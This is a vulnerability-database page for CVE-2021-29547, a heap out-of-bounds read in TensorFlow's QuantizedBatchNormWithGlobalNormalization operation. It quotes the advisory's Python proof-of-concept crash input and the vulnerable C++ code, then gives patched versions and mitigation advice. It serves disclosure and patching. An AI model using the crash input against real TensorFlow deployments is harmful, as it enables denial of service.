CVE-2021-29547 is a medium-severity (CVSS 5.5) Out-of-bounds Read vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.
Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-29547 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
An attacker can cause a segfault and denial of service via accessing data outside of bounds in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:
import tensorflow as tf
t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
This is because the implementation assumes the inputs are not empty:
const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);
If any of these inputs is empty, .flat<T>() is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.
Patches
We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.1.4pip install --upgrade 'tensorflow==2.1.4' |
| 🐍PyPI | tensorflow | ≥ 2.2.0&&< 2.2.3 | 2.2.3pip install --upgrade 'tensorflow==2.2.3' |
| 🐍PyPI | tensorflow | ≥ 2.3.0&&< 2.3.3 | 2.3.3pip install --upgrade 'tensorflow==2.3.3' |
| 🐍PyPI | tensorflow | ≥ 2.4.0&&< 2.4.2 | 2.4.2pip install --upgrade 'tensorflow==2.4.2' |
| 🐍PyPI | tensorflow-cpu | all versions | 2.1.4pip install --upgrade 'tensorflow-cpu==2.1.4' |
| 🐍PyPI | tensorflow-cpu | ≥ 2.2.0&&< 2.2.3 | 2.2.3pip install --upgrade 'tensorflow-cpu==2.2.3' |
Affected Products
tensorflowgoogleResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-29547 is resolved across your whole dependency graph.
Workarounds
Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable.
Frequently Asked Questions
Is CVE-2021-29547 in your dependencies?
Find it across PyPI, including transitive dependencies.